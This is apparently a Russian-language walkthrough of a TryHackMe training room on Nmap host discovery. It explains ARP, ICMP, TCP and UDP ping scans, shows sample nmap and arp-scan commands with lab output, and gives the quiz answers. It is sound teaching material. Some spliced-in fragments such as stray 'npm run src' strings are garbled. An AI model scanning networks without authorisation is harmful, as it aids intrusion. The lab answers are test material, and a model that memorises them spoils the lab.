      <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/818d1c5a3a96a9962dde71069f9e1ee8.png" width="397" />
    </figure>
    <ul id="ZmEZ">
      <li id="HGvJ">С <strong>компьютера4</strong></li>
      <li id="lQs7">Для <strong>компьютера 4</strong> (чтобы указать, что это трансляция)</li>
      <li id="luhb">Тип пакета: «ARP-запрос»</li>
      <li id="sZHn">Данные: <strong>computer6</strong> (поскольку мы запрашиваем MAC-адрес <strong>компьютера computer6</strong> с помощью ARP-запроса)</li>
    </ul>
    <p id="XKic">Сколько устройств могут увидеть ARP-запрос?</p>
    <p id="u5jm"><strong>Ответ: 4</strong></p>
    <p id="Rkgr">Вопрос: Ответил ли компьютер 6 на ARP-запрос? (Да/Нет)</p>
    <p id="5b67"><strong>Ответ: Yea</strong></p>
  </section>
  <h2 id="17gG">Task 3. Enumerating Targets </h2>
  <p id="1UMd">В задании 1 мы упомянули различные методы сканирования. Прежде чем подробно объяснить каждый из них и протестировать на реальном объекте, необходимо указать объекты, которые мы хотим сканировать. Как правило, можно указать список, диапазон или подсеть. Примеры указания объектов:</p>
  <ul id="5fMk">
    <li id="MOjv">список: <code>MACHINE_IP scanme.nmap.org example.com</code>будет просканировано 3 IP-адреса.</li>
    <li id="mFd8">диапазон: <code>10.11.12.15-20</code>будет просканировано 6 IP-адресов: <code>10.11.12.15</code>, <code>10.11.12.16</code>,… и <code>10.11.12.20</code>.</li>
    <li id="2jEQ">Подсеть: <code>MACHINE_IP/30</code>будет просканировано 4 IP-адреса.</li>
  </ul>
  <p id="lSft">Вы также можете указать файл в качестве входных данных для списка целей <code>nmap -iL list_of_hosts.txt</code>.</p>
  <p id="LvJr">Если вы хотите проверить список хостов, которые будет сканировать Nmap , вы можете использовать опцию &#x60; <code>nmap -sL TARGETS</code>--&#x60;. Эта опция предоставляет подробный список хостов, которые будет сканировать Nmap, без фактического сканирования; однако Nmap попытается выполнить обратное разрешение DNS для всех целей, чтобы получить их имена. Имена могут раскрыть различную информацию для пентестера. (Если вы не хотите, чтобы Nmap обращался к DNS-серверу, вы можете добавить &#x60;  <code>-n</code>--&#x60;.)</p>
  <p id="ejnV">Запустите AttackBox, используя <code>Start AttackBox</code>кнопку ниже. После открытия в режиме разделенного экрана откройте окно <code>Terminal</code>и используйте его <code>Nmap</code>для ответа на следующие вопросы.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5gtT">Вопрос: Какой IP-адрес Nmap просканирует первым, если вы укажете  <code>10.10.12.13/29</code> его в качестве целевого адреса?</p>
    <p id="KJZV"><strong>Ответ: 10.10.12.8</strong></p>
    <p id="aBd1">Вопрос: Сколько IP-адресов просканирует Nmap, если вы укажете следующий диапазон  <code>10.10.0-255.101-125</code>?</p>
    <p id="YWYy"><strong>Ответ: 6400</strong></p>
  </section>
  <h2 id="BDKP">Task 4. Discovering Live Hosts </h2>
  <p id="G9Vd">Давайте вернемся к уровням TCP /IP, показанным на следующем рисунке. Мы будем использовать эти протоколы для обнаружения активных хостов. Начиная снизу вверх, мы можем использовать:</p>
  <ul id="JB5k">
    <li id="QOpm">ARP с канального уровня</li>
    <li id="znXk">ICMP с сетевого уровня</li>
    <li id="Vxmf">TCP с транспортного уровня</li>
    <li id="PPDS">UDP с транспортного уровня</li>
  </ul>
  <figure id="hYvz" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/745e0412b319d324352c7b29863b74f4.png" width="984" />
  </figure>
  <p id="K21L">Прежде чем подробно обсуждать, как можно использовать каждый сканер, мы кратко рассмотрим эти четыре протокола. <strong>ARP</strong> имеет одну цель: отправить кадр на широковещательный адрес в сетевом сегменте и запросить у компьютера с определенным IP-адресом ответ, предоставив его MAC-адрес (аппаратный адрес).</p>
  <p id="jvGr"><strong>ICMP</strong> имеет <a href="https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml" target="_blank">множество типов</a> . ICMP-запрос ping использует тип 8 (эхо) и тип 0 (эхо-ответ).</p>
  <p id="MUwK">Если вы хотите отправить ping-запрос системе, находящейся в той же подсети, перед ICMP-эхо-запросом следует выполнить ARP- запрос.</p>
  <p id="YNhN">Хотя TCP и UDP являются протоколами транспортного уровня, для сканирования сети сканер может отправить специально сформированный пакет на распространенные порты TCP или UDP , чтобы проверить, отвечает ли целевой сервер. Этот метод эффективен, особенно когда блокируется ICMP Echo.</p>
  <p id="9l3J">Если вы закрыли сетевой симулятор, нажмите <code>View Site</code>кнопку « » <code>Task 2</code>для его повторного отображения.</p>
  <section>
    <p id="tP3o">Отправьте пакет со следующим содержимым:</p>
    <ul id="Tj5O">
      <li id="XYKU">С <strong>компьютера1</strong></li>
      <li id="V1Mz">На <strong>компьютер3</strong></li>
      <li id="KCyY">Тип пакета: « <strong>Запрос Ping</strong> »</li>
    </ul>
  </section>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="8coy">Вопрос: Какой тип пакета отправил <strong>компьютер 1</strong> перед пингом?</p>
    <p id="HJbZ">Ответ: ARP Request</p>
    <p id="k8cq">Вопрос: Какой тип пакета получил <strong>компьютер 1</strong> , прежде чем смог отправить пинг?</p>
    <p id="51pK">Ответ: ARP Response</p>
    <p id="akCI">Вопрос: Сколько компьютеров ответили на запрос ping?</p>
    <p id="zsyp">Ответ: 1</p>
    <p id="8374">Вопрос: </p>
    <p id="HRky">Отправьте пакет со следующим содержимым:</p>
    <ul id="YpC0">
      <li id="Mu4p">С <strong>компьютера2</strong></li>
      <li id="NrQm">На <strong>компьютер5</strong></li>
      <li id="xvnX">Тип пакета: « <strong>Запрос Ping</strong> »</li>
    </ul>
    <p id="E751">Как называется первое устройство, ответившее на первый ARP-запрос?</p>
    <p id="LGIP">Ответ: router</p>
    <p id="Epyu">Вопрос: Как называется первое устройство, ответившее на второй ARP-запрос?</p>
    <p id="KZOW">Ответ: computer5</p>
    <p id="tqhI">Вопрос: Отправьте еще один запрос Ping. Потребовались ли новые запросы ARP? (да/нет)</p>
    <p id="S4w6">Ответ: nay</p>
  </section>
  <h2 id="oGHY">Task 5. Nmap Host Discovery Using ARP </h2>
  <p id="XX7T">Как узнать, какие хосты работают? Крайне важно избегать траты времени на сканирование портов неактивных хостов или IP-адресов, которые не используются. Существуют различные способы обнаружения работающих хостов. Если параметры обнаружения хостов отсутствуют, Nmap использует следующие подходы для обнаружения активных хостов:</p>
  <ol id="Bo3e">
    <li id="tcw9">Когда <em>привилегированный</em> пользователь пытается сканировать цели в локальной сети (Ethernet), Nmap использует <em>ARP- запросы</em> . Привилегированным пользователем считается <code>root</code>пользователь, принадлежащий к группе <code>sudoers</code>и имеющий право запускать соответствующие программы <code>sudo</code>.</li>
    <li id="hyGB">Когда <em>привилегированный</em> пользователь пытается сканировать цели за пределами локальной сети, Nmap использует запросы эхо ICMP, подтверждение TCP ACK (Acknowledge) на порт 80, синхронизацию TCP SYN (Synchronize) на порт 443 и запрос метки времени ICMP.</li>
    <li id="XrDx">Когда <em>непривилегированный</em> пользователь пытается сканировать цели за пределами локальной сети, Nmap прибегает к трехстороннему TCP-рукопожатию, отправляя SYN-пакеты на порты 80 и 443.</li>
  </ol>
  <p id="rKJF">По умолчанию Nmap использует сканирование с помощью команды ping для поиска активных хостов, а затем продолжает сканирование только активных хостов. Если вы хотите использовать Nmap для обнаружения онлайн-хостов без сканирования портов активных систем, вы можете выполнить команду <code>nmap -sn TARGETS</code>. Давайте разберемся подробнее, чтобы получить полное представление о различных используемых методах.</p>
  <p id="Il3i">Сканирование ARP возможно только в том случае, если вы находитесь в той же подсети, что и целевые системы. В сетях Ethernet (802.3) и WiFi (802.11) необходимо знать MAC-адрес любой системы, прежде чем вы сможете с ней взаимодействовать. MAC-адрес необходим для заголовка канального уровня; он содержит MAC-адреса источника и назначения, а также другие поля. Чтобы получить MAC-адрес, операционная система отправляет ARP-запрос. Хост, отвечающий на ARP-запросы, считается активным. ARP-запрос работает только в том случае, если целевая система находится в той же подсети, что и вы, то есть в той же сети Ethernet/Wi-Fi. Во время сканирования локальной сети с помощью Nmap следует ожидать появления множества ARP-запросов. Если вы хотите, чтобы Nmap выполнял только сканирование ARP без сканирования портов, вы можете использовать команду &#x60;npm run src&#x60; <code>nmap -PR -sn TARGETS</code>, где &#x60; <code>-PR</code>npm run src&#x60; указывает, что вам нужно только сканирование ARP. В следующем примере показано, как Nmap использует ARP для обнаружения хостов без сканирования портов. Мы запускаем команду &#x60;npm run src&#x60; <code>nmap -PR -sn MACHINE_IP/24</code>для обнаружения всех активных систем в той же подсети, что и наша целевая машина.</p>
  <p id="77r7">Терминал пентестера</p>
  <pre id="osYV">pentester@TryHackMe$ sudo nmap -PR -sn 10.10.210.6/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 07:12 BST
Nmap scan report for ip-10-10-210-75.eu-west-1.compute.internal (10.10.210.75)
Host is up (0.00013s latency).
MAC Address: 02:83:75:3A:F2:89 (Unknown)
Nmap scan report for ip-10-10-210-100.eu-west-1.compute.internal (10.10.210.100)
Host is up (-0.100s latency).
MAC Address: 02:63:D0:1B:2D:CD (Unknown)
Nmap scan report for ip-10-10-210-165.eu-west-1.compute.internal (10.10.210.165)
Host is up (0.00025s latency).
MAC Address: 02:59:79:4F:17:B7 (Unknown)
Nmap scan report for ip-10-10-210-6.eu-west-1.compute.internal (10.10.210.6)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.12 seconds</pre>
  <p id="Ekgy">В данном случае, <code>AttackBox</code>имея IP-адрес 10.10.210.6, Nmap использовал ARP-запросы для обнаружения активных хостов в той же подсети. ARP-сканирование работает, как показано на рисунке ниже. Nmap отправляет ARP-запросы всем целевым компьютерам, и те, которые находятся в сети, должны ответить ARP-ответом.</p>
  <figure id="aHaZ" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/f0ce4cd34b827f529255c5c73bb909d1.png" width="862" />
  </figure>
  <p id="qWuI">Если мы посмотрим на пакеты, сгенерированные с помощью таких инструментов, как tcpdump или Wireshark, мы увидим сетевой трафик, похожий на показанный ниже. На рисунке ниже Wireshark отображает MAC-адреса источника и назначения, протокол и запрос для каждого ARP-запроса. Адрес источника — это MAC-адрес нашего AttackBox, а адрес назначения — широковещательный адрес, поскольку MAC-адрес цели нам неизвестен. Однако IP-адрес цели можно увидеть в столбце Info. На рисунке видно, что мы запрашиваем MAC-адреса всех IP-адресов в подсети, начиная с <code>10.10.210.1</code>. Хост с запрашиваемым IP-адресом отправит ARP- ответ со своим MAC-адресом, и именно так мы узнаем, что он находится в сети.</p>
  <figure id="vPB9" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/fc86462236edf4ee667f416b533c93fd.png" width="958" />
  </figure>
  <p id="yjYJ">Говоря о сканировании ARP , следует упомянуть сканер, построенный на основе ARP- запросов: <code>arp-scan</code>; он предоставляет множество опций для настройки сканирования. Для получения подробной информации посетите вики-страницу <a href="https://github.com/royhills/arp-scan/wiki/arp-scan-User-Guide" target="_blank">arp -scan</a> . Один из популярных вариантов — <code>arp-scan --localnet</code>или просто <code>arp-scan -l</code>. Эта команда отправит ARP- запросы на все действительные IP-адреса в вашей локальной сети. Более того, если ваша система имеет более одного интерфейса и вы заинтересованы в обнаружении активных хостов на одном из них, вы можете указать интерфейс с помощью <code>-I</code>. Например, <code>sudo arp-scan -I eth0 -l</code>отправит ARP- запросы на все действительные IP-адреса на этом <code>eth0</code>интерфейсе.</p>
  <p id="tBdC">Обратите внимание, что <code>arp-scan</code>он не установлен на AttackBox; однако его можно установить с помощью <code>apt install arp-scan</code>.</p>
  <p id="nxOH">В приведенном ниже примере мы просканировали подсеть AttackBox с помощью <code>arp-scan ATTACKBOX_IP/24</code>. Поскольку мы выполнили это сканирование в промежутке времени, близком к предыдущему <code>nmap -PR -sn ATTACKBOX_IP/24</code>, мы получили те же три активные цели.</p>
  <p id="Siv7">Терминал пентестера</p>
  <pre id="R8qD">pentester@TryHackMe$ sudo arp-scan 10.10.210.6/24
Interface: eth0, datalink type: EN10MB (Ethernet)
WARNING: host part of 10.10.210.6/24 is non-zero
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.210.75	02:83:75:3a:f2:89	(Unknown)
10.10.210.100	02:63:d0:1b:2d:cd	(Unknown)
10.10.210.165	02:59:79:4f:17:b7	(Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.726 seconds (93.91 hosts/sec). 3 responded</pre>
  <p id="SdG4">Аналогичным образом, команда <code>arp-scan</code>сгенерирует множество ARP- запросов, которые мы можем просмотреть с помощью tcpdump, Wireshark или аналогичного инструмента. Мы можем заметить, что захват пакетов <code>arp-scan</code>показывает <code>nmap -PR -sn</code>схожие закономерности трафика. Ниже приведен вывод Wireshark.</p>
  <figure id="XFPT" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/7a4f0b5fe57a09aaebd18da5d1e1af16.png" width="949" />
  </figure>
  <p id="wwdx">Если вы закрыли сетевой симулятор, нажмите <code>Visit Site</code>кнопку « » в задании 2, чтобы снова открыть его.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gBUx">Вопрос: </p>
    <p id="qrry">Мы будем отправлять широковещательные ARP-запросы со следующими параметрами:</p>
    <ul id="Ai1O">
      <li id="oOU7">С <strong>компьютера1</strong></li>
      <li id="uq3j">Компьютеру <strong>1</strong> (чтобы указать, что это трансляция)</li>
      <li id="X1xo">Тип пакета: «ARP-запрос»</li>
      <li id="mjdB">Данные: попробуйте все 8 устройств (кроме компьютера 1) в сети: <strong>компьютер 2</strong> , <strong>компьютер 3</strong> , <strong>компьютер 4</strong> , <strong>компьютер 5</strong> , <strong>компьютер 6</strong> , <strong>коммутатор 1</strong> , <strong>коммутатор 2</strong> и маршрутизатор.</li>
    </ul>
    <p id="HnyS">Сколько устройств можно обнаружить с помощью ARP-запросов?</p>
    <p id="cBL1">Ответ: 3</p>
  </section>
  <h2 id="iMwx">Task 6. Nmap Host Discovery Using ICMP </h2>
  <p id="l1NK">Мы можем отправить ping-запрос на каждый IP-адрес в целевой сети и посмотреть, кто ответит на наши <code>ping</code>запросы (ICMP Type 8/Echo) ответным ping-запросом (ICMP Type 0). Просто, не правда ли? Хотя это был бы самый простой подход, он не всегда надежен. Многие брандмауэры блокируют ICMP-эхо-запросы; в новых версиях MS Windows настроен брандмауэр хоста, который по умолчанию блокирует запросы ICMP-эхо. Помните, что ARP-запрос предшествует ICMP-запросу, если ваша цель находится в той же подсети.</p>
  <p id="HEUW">Чтобы использовать ICMP-запрос эхо-ответа для обнаружения активных хостов, добавьте опцию <code>-PE</code>. (Не забудьте добавить её, <code>-sn</code>если вы не хотите после этого выполнять сканирование портов.)</p>
  <p id="efKt">Как показано на следующем рисунке, сканирование ICMP echo отправляет запрос ICMP echo и ожидает, что целевой объект ответит ответом ICMP echo, если он находится в сети.</p>
  <figure id="p0Ug" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/25fb5fd5d2009cf69d7aae40e8fde2ec.png" width="862" />
  </figure>
  <p id="xGlD">В приведенном ниже примере мы просканировали подсеть целевого объекта с помощью команды &#x60;npm run src&#x60; <code>nmap -PE -sn MACHINE_IP/24</code>. Это сканирование отправит эхо-пакеты ICMP на каждый IP-адрес в подсети. Мы ожидаем ответа от работающих хостов; однако следует помнить, что многие брандмауэры блокируют ICMP. В приведенном ниже выводе показан результат сканирования подсети класса C виртуальной машины с помощью команды &#x60;npm run src&#x60; <code>sudo nmap -PE -sn MACHINE_IP/24</code>из AttackBox.</p>
  <p id="Vj42">Терминал пентестера</p>
  <pre id="df4T">pentester@TryHackMe$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 10:16 BST
Nmap scan report for ip-10-10-68-50.eu-west-1.compute.internal (10.10.68.50)
Host is up (0.00017s latency).
MAC Address: 02:95:36:71:5B:87 (Unknown)
Nmap scan report for ip-10-10-68-52.eu-west-1.compute.internal (10.10.68.52)
Host is up (0.00017s latency).
MAC Address: 02:48:E8:BF:78:E7 (Unknown)
Nmap scan report for ip-10-10-68-77.eu-west-1.compute.internal (10.10.68.77)
Host is up (-0.100s latency).
MAC Address: 02:0F:0A:1D:76:35 (Unknown)
Nmap scan report for ip-10-10-68-110.eu-west-1.compute.internal (10.10.68.110)
Host is up (-0.10s latency).
MAC Address: 02:6B:50:E9:C2:91 (Unknown)
Nmap scan report for ip-10-10-68-140.eu-west-1.compute.internal (10.10.68.140)
Host is up (0.00021s latency).
MAC Address: 02:58:59:63:0B:6B (Unknown)
Nmap scan report for ip-10-10-68-142.eu-west-1.compute.internal (10.10.68.142)
Host is up (0.00016s latency).
MAC Address: 02:C6:41:51:0A:0F (Unknown)
Nmap scan report for ip-10-10-68-220.eu-west-1.compute.internal (10.10.68.220)
Host is up (0.00026s latency).
MAC Address: 02:25:3F:DB:EE:0B (Unknown)
Nmap scan report for ip-10-10-68-222.eu-west-1.compute.internal (10.10.68.222)
Host is up (0.00025s latency).
MAC Address: 02:28:B1:2E:B0:1B (Unknown)
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.11 seconds</pre>
  <p id="qXvl">Результаты сканирования показывают, что активны 8 хостов, а также их MAC-адреса. Как правило, мы не ожидаем узнать MAC-адреса целевых устройств, если они не находятся в той же подсети, что и наша система. Приведенные выше данные указывают на то, что Nmap не потребовалось отправлять ICMP-пакеты, поскольку он подтвердил активность этих хостов на основе полученных ARP-ответов.</p>
  <p id="vbZc">Мы повторим описанное выше сканирование; однако на этот раз мы будем сканировать с системы, находящейся в другой подсети. Результаты будут аналогичными, но без MAC-адресов.</p>
  <p id="oOIR">Терминал пентестера</p>
  <pre id="qaik">pentester@TryHackMe$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:16 EEST
Nmap scan report for 10.10.68.50
Host is up (0.12s latency).
Nmap scan report for 10.10.68.52
Host is up (0.12s latency).
Nmap scan report for 10.10.68.77
Host is up (0.11s latency).
Nmap scan report for 10.10.68.110
Host is up (0.11s latency).
Nmap scan report for 10.10.68.140
Host is up (0.11s latency).
Nmap scan report for 10.10.68.142
Host is up (0.11s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap scan report for 10.10.68.222
Host is up (0.11s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 8.26 seconds</pre>
  <p id="QQoN">Если вы проанализируете сетевые пакеты с помощью такого инструмента, как Wireshark, вы увидите нечто похожее на изображение ниже. Вы можете заметить, что у нас есть один исходный IP-адрес в другой подсети, чем целевая подсеть, и мы отправляем запросы ICMP echo всем IP-адресам в целевой подсети, чтобы узнать, кто ответит.</p>
  <figure id="h8Oh" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/0fa352ccc303a6e840929ab4a21848b1.png" width="979" />
  </figure>
  <p id="Epue">Поскольку запросы ICMP echo обычно блокируются, вы также можете рассмотреть запросы ICMP Timestamp или ICMP Address Mask, чтобы определить, находится ли система в сети. Nmap использует запрос временной метки (ICMP Type 13) и проверяет, получит ли он ответ с временной меткой (ICMP Type 14). Добавление этой  <code>-PP</code>опции указывает Nmap использовать запросы ICMP временной метки. Как показано на рисунке ниже, вы ожидаете ответа от активных хостов.</p>
  <figure id="7y5v" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/06443faaa41a349ff46732d60e2e3bcd.png" width="862" />
  </figure>
  <p id="UULc">В следующем примере мы запускаем команду <code>nmap -PP -sn MACHINE_IP/24</code>для обнаружения компьютеров, находящихся в сети в целевой подсети.</p>
  <p id="ladS">Терминал пентестера</p>
  <pre id="17SB">pentester@TryHackMe$ sudo nmap -PP -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:06 EEST
Nmap scan report for 10.10.68.50
Host is up (0.13s latency).
Nmap scan report for 10.10.68.52
Host is up (0.25s latency).
Nmap scan report for 10.10.68.77
Host is up (0.14s latency).
Nmap scan report for 10.10.68.110
Host is up (0.14s latency).
Nmap scan report for 10.10.68.140
Host is up (0.15s latency).
Nmap scan report for 10.10.68.209
Host is up (0.14s latency).
Nmap scan report for 10.10.68.220
Host is up (0.14s latency).
Nmap scan report for 10.10.68.222
Host is up (0.14s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 10.93 seconds</pre>
  <p id="GKOc">Аналогично предыдущему сканированию ICMP, это сканирование отправит множество запросов ICMP с временной меткой на каждый действительный IP-адрес в целевой подсети. На скриншоте Wireshark ниже вы можете увидеть, как один исходный IP-адрес отправляет пакеты ICMP на каждый возможный IP-адрес для обнаружения работающих хостов.</p>
  <figure id="3SPQ" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/61ddb58cf7ffb3472f12388ff3ac3f4b.png" width="979" />
  </figure>
  <p id="RGCn">Аналогично, Nmap использует запросы маски адреса (ICMP типа 17) и проверяет, получает ли он ответ с маской адреса (ICMP типа 18). Это сканирование можно включить с помощью опции <code>-PM</code>. Как показано на рисунке ниже, ожидается, что активные хосты будут отвечать на запросы ICMP с маской адреса.</p>
  <figure id="pGOl" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/14c31c66e002e2f50b0f8525c8d8e456.png" width="862" />
  </figure>
  <p id="ePdF">В попытке обнаружить активные хосты с помощью запросов ICMP-адресной маски мы запускаем команду <code>nmap -PM -sn MACHINE_IP/24</code>. Хотя предыдущие сканирования показали, что активны как минимум 8 хостов, это сканирование не дало результатов. Причина в том, что целевая система или межсетевой экран на маршруте блокируют этот тип ICMP-пакетов. Поэтому важно изучить несколько подходов для достижения одного и того же результата. Если блокируется один тип пакетов, мы всегда можем выбрать другой для обнаружения целевой сети и служб.</p>
  <p id="C3xM">Терминал пентестера</p>
  <pre id="jBFo">pentester@TryHackMe$ sudo nmap -PM -sn 10.10.68.220/24

Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 12:13 EEST
Nmap done: 256 IP addresses (0 hosts up) scanned in 52.17 seconds</pre>
  <p id="Htzy">Хотя мы не получили никакого ответа и не смогли определить, какие хосты были в сети, важно отметить, что в ходе сканирования были отправлены запросы ICMP с маской адреса на каждый действительный IP-адрес, и ожидался ответ. Каждый запрос ICMP был отправлен дважды, как показано на скриншоте ниже.</p>
  <figure id="kS6W" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/8281b22c8eff2c0e09cef3d81c9d299a.png" width="979" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="paoC">Вопрос: Какая опция необходима, чтобы указать Nmap использовать метку времени ICMP для обнаружения активных хостов?</p>
    <p id="VgTU">Ответ: -PP</p>
    <p id="tTsT">Вопрос: Какая опция необходима, чтобы указать Nmap использовать маску ICMP-адреса для обнаружения активных хостов?</p>
    <p id="Y83X">Ответ: -PM</p>
    <p id="ACNt">Вопрос: Какая опция необходима, чтобы указать Nmap использовать ICMP Echo для обнаружения активных хостов?</p>
    <p id="OYZq">Ответ: -PE</p>
  </section>
  <h2 id="5uAB">Task 7. Nmap Host Discovery Using TCP and UDP </h2>
  <p id="BjYI"><strong>TCP SYN Ping</strong></p>
  <p id="N2pT">Мы можем отправить пакет с установленным флагом SYN (синхронизация) на TCP- порт (по умолчанию 80) и дождаться ответа. Открытый порт должен ответить SYN/ACK (подтверждение); закрытый порт приведет к RST (сброс). В этом случае мы проверяем только наличие ответа, чтобы определить, активен ли хост. Конкретное состояние порта здесь не имеет значения. Рисунок ниже напоминает о том, как обычно работает трехстороннее рукопожатие TCP .</p>
  <figure id="k5ux" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/23e7f481f78de8d3e89ef845b747002d.png" width="862" />
  </figure>
  <p id="gUF0">Если вы хотите, чтобы Nmap использовал TCP SYN ping, вы можете сделать это с помощью опции, <code>-PS</code>за которой следует номер порта, диапазон, список или их комбинация. Например, <code>-PS21</code>будет нацелен на порт 21, в то время как <code>-PS21-25</code>будет нацелен на порты 21, 22, 23, 24 и 25. Наконец, <code>-PS80,443,8080</code>будет нацелен на три порта: 80, 443 и 8080.</p>
  <p id="v5M4">Привилегированные пользователи (root и sudo) могут отправлять пакеты TCP SYN и не обязаны завершать трехстороннее рукопожатие TCP, даже если порт открыт, как показано на рисунке ниже. Непривилегированные пользователи вынуждены завершать трехстороннее рукопожатие, если порт открыт.</p>
  <figure id="8SfT" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/168d48701c5f872cf1930e08b32bcd6f.png" width="862" />
  </figure>
  <p id="MnPV">Мы запустим <code>nmap -PS -sn MACHINE_IP/24</code>сканирование целевой подсети виртуальных машин. Как показано в приведенном ниже выводе, мы обнаружили пять хостов.</p>
  <p id="u4ig">Терминал пентестера</p>
  <pre id="cR4K">pentester@TryHackMe$ sudo nmap -PS -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
Nmap scan report for 10.10.68.121
Host is up (0.16s latency).
Nmap scan report for 10.10.68.125
Host is up (0.089s latency).
Nmap scan report for 10.10.68.134
Host is up (0.13s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 17.38 seconds</pre>
  <p id="NwZk">Давайте подробнее рассмотрим, что происходило за кулисами, изучив сетевой трафик в Wireshark на рисунке ниже. Технически говоря, поскольку мы не указывали никаких TCP-портов для использования в сканировании TCP ping, Nmap использовал TCP-порт по умолчанию, 80. Ожидается, что любая служба, прослушивающая порт 80, ответит, косвенно указывая на то, что хост находится в сети.</p>
  <figure id="KVyd" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/e580a3279be3798ddb78f61a9ee21587.png" width="979" />
  </figure>
  <p id="2HRU"><strong>TCP ACK Пинг</strong></p>
  <p id="NFHq">Как вы уже догадались, это отправляет пакет с установленным флагом ACK. Для этого необходимо запускать Nmap от имени привилегированного пользователя. Если вы попытаетесь сделать это от имени непривилегированного пользователя, Nmap попытается выполнить трехстороннее рукопожатие.</p>
  <p id="VjRT">По умолчанию используется порт 80. Синтаксис аналогичен TCP SYN ping. <code>-PA</code>должен сопровождаться номером порта, диапазоном номеров портов, списком или их комбинацией. Например, рассмотрим  <code>-PA21</code>, <code>-PA21-25</code>и <code>-PA80,443,8080</code>. Если порт не указан, будет использоваться порт 80.</p>
  <p id="h3UU">На следующем рисунке показано, что любой TCP-пакет с установленным флагом ACK должен получить ответ в виде TCP-пакета с <code>RST</code>установленным флагом. Целевой хост отвечает с <code>RST</code>установленным флагом, поскольку TCP-пакет с флагом ACK не является частью какого-либо текущего соединения. Ожидаемый ответ используется для определения того, активен ли целевой хост.</p>
  <figure id="5wzL" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/db5ab44a8c700c4ab0603e85e456040d.png" width="862" />
  </figure>
  <p id="z7QF">В этом примере мы запускаем <code>sudo nmap -PA -sn MACHINE_IP/24</code>проверку доступности хостов в подсети целевого объекта. Мы видим, что сканирование TCP ACK ping обнаружило пять хостов как активных.</p>
  <p id="cTIj">Терминал пентестера</p>
  <pre id="KAV7">pentester@TryHackMe$ sudo nmap -PA -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:46 EEST
Nmap scan report for 10.10.68.52
Host is up (0.11s latency).
Nmap scan report for 10.10.68.121
Host is up (0.12s latency).
Nmap scan report for 10.10.68.125
Host is up (0.10s latency).
Nmap scan report for 10.10.68.134
Host is up (0.10s latency).
Nmap scan report for 10.10.68.220
Host is up (0.10s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 29.89 seconds</pre>
  <p id="WmaG">Если мы взглянем на сетевой трафик, как показано на рисунке ниже, мы обнаружим множество пакетов с установленным флагом ACK, отправленных на порт 80 целевых систем. Nmap отправляет каждый пакет дважды. Системы, которые не отвечают, находятся в автономном режиме или недоступны.</p>
  <figure id="0TNM" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/6ccdba7337684b8e8f532a23c5259ffc.png" width="979" />
  </figure>
  <p id="iAHb"><strong>UDP Пинг</strong></p>
  <p id="Mk9Z">Наконец, мы можем использовать UDP для определения того, находится ли хост в сети. В отличие от TCP SYN ping, отправка UDP-пакета на открытый порт, как правило, не приводит к ответу. Однако, если мы отправим UDP-пакет на закрытый UDP-порт, мы ожидаем получить ICMP-пакет &quot;порт недоступен&quot;; это указывает на то, что целевая система активна и доступна.</p>
